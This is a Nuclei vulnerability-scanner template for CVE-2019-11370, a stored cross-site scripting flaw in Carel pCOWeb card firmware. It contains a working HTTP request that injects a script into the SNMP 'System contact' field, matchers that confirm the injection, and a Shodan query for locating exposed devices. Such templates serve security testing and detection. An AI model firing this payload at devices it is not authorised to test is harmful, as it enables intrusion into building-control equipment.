nuclei-templates/http/cves/2019/CVE-2019-11370.yaml

52 lines
1.9 KiB
YAML

id: CVE-2019-11370
info:
name: Carel pCOWeb <B1.2.4 - Cross-Site Scripting
author: arafatansari
severity: medium
description: |
Carel pCOWeb prior to B1.2.4 is vulnerable to stored cross-site scripting, as demonstrated by the config/pw_snmp.html "System contact" field.
impact: |
Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
remediation: |
Apply the latest patch or upgrade to a version that addresses the vulnerability.
reference:
- https://www.exploit-db.com/exploits/46897
- https://github.com/nepenthe0320/cve_poc/blob/master/CVE-2019-11370
- https://nvd.nist.gov/vuln/detail/CVE-2019-11370
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2019-11370
cwe-id: CWE-79
epss-score: 0.1896
epss-percentile: 0.95786
cpe: cpe:2.3:o:carel:pcoweb_card_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: carel
product: pcoweb_card_firmware
shodan-query: http.html:"pCOWeb"
tags: pcoweb,xss,carel,edb,cve,cve2019
http:
- raw:
- |
POST /config/pw_snmp_done.html HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
%3Fscript%3Asetdb%28%27snmp%27%2C%27syscontact%27%29=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
- |
GET /config/pw_snmp.html HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body_2, "text/html")'
- status_code_2 == 200
- contains(body_2, 'value=\"\"><script>alert(document.domain)</script>\"></td>')
condition: and
# digest: 4a0a00473045022100cfe3f92cd348441415cc9f16fcb17346ceb281e7a180937c8cf4692ae47c4ab002202e8b4d802ecefd49a16397669270762bf9099e9989c6039ef22cf14d15a18a2f:922c64590222798bb761d5b6d8e72950